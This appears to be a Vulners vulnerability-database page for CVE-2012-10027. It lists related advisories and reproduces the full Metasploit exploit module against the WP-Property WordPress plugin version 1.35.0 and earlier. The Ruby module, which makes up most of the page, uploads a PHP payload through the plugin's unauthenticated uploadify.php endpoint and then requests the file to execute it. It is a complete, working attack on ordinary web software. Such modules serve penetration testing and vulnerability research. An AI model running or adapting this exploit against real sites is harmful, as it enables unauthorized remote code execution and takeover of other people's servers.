Lucene search
+L

WordPress WP-Property PHP File Upload Vulnerability

🗓️ 26 Mar 2012 00:00:00Reported by Sammy FORGIT, James Fitts <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 22 Views

WordPress WP-Property PHP File Upload Vulnerability in version 1.35.0 allows unauthorized file upload leading to arbitrary code executio

Related
Code
ReporterTitlePublishedViews
Family
attackerkb
ATTACKERKB
CVE-2012-10027
5 Aug 202520:06
attackerkb
circl
Circl
CVE-2012-10027
29 May 201815:50
circl
cnnvd
CNNVD
WordPress plugin WP-Property 安全漏洞
5 Aug 202500:00
cnnvd
cnvd
CNVD
WordPress WP-Property plugin file upload vulnerability
11 Aug 202500:00
cnvd
cve
CVE
CVE-2012-10027
5 Aug 202520:06
cve
cvelist
Cvelist
CVE-2012-10027 WordPress Plugin WP-Property <= 1.35.0 PHP File Upload
5 Aug 202520:06
cvelist
euvd
EUVD
EUVD-2012-6569
7 Oct 202500:30
euvd
nvd
NVD
CVE-2012-10027
5 Aug 202520:15
nvd
openvas
OpenVAS
WordPress WP-Property Plugin 1.35.0 'uploadify.php' Arbitrary File Upload Vulnerability - Active Check
12 Jun 201200:00
openvas
ptsecurity
Positive Technologies
PT-2025-31979
5 Aug 202500:00
ptsecurity
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HTTP::Wordpress
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'WordPress WP-Property PHP File Upload Vulnerability',
        'Description' => %q{
          This module exploits a vulnerability found in WP-Property <= 1.35.0 WordPress
          plugin. By abusing the uploadify.php file, a malicious user can upload a file to a
          temp directory without authentication, which results in arbitrary code execution.
        },
        'Author' => [
          'Sammy FORGIT',	# initial discovery
          'James Fitts <fitts.james[at]gmail.com>' # metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2012-10027'],
          ['OSVDB', '82656'],
          ['BID', '53787'],
          ['EDB', '18987'],
          ['URL', 'http://web.archive.org/web/20150103065650/http://www.opensyscom.fr:80/Actualites/wordpress-plugins-wp-property-shell-upload-vulnerability.html'],
          ['WPVDB', '6225']
        ],
        'Platform' => 'php',
        'Arch'	=> ARCH_PHP,
        'Targets' => [['wp-property <= 1.35.0', {}]],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2012-03-26',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
  end

  def check
    uri = normalize_uri(wordpress_url_plugins, 'wp-property', 'third-party', 'uploadify', 'uploadify.php')

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => uri
    )

    return Exploit::CheckCode::Unknown('Could not determine the target status') if res.nil? || res.code != 200

    Exploit::CheckCode::Detected('The target service was detected')
  end

  def exploit
    data_uri = normalize_uri(wordpress_url_plugins, 'wp-property', 'third-party', 'uploadify/')
    request_uri = normalize_uri(data_uri, 'uploadify.php')

    payload_name = "#{rand_text_alpha(5)}.php"

    data = Rex::MIME::Message.new
    data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"Filedata\"; filename=\"#{payload_name}\"")
    data.add_part(data_uri, nil, nil, "form-data; name=\"folder\"")
    post_data = data.to_s

    print_status("Uploading payload #{payload_name}")
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => request_uri,
      'ctype' => "multipart/form-data; boundary=#{data.bound}",
      'data' => post_data
    )

    if res.nil? || res.code != 200 || res.body !~ /#{payload_name}/
      fail_with(Failure::UnexpectedReply, "#{peer} - Upload failed")
    end

    register_files_for_cleanup(payload_name)

    upload_uri = normalize_uri(res.body)

    print_status("Executing payload #{payload_name}")
    send_request_raw(
      'uri' => upload_uri,
      'method' => 'GET'
    )
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

26 Mar 2012 00:00Current
5.6Medium risk
Vulners AI Score5.6
CVSS 49.3
EPSS0.01303
SSVC
22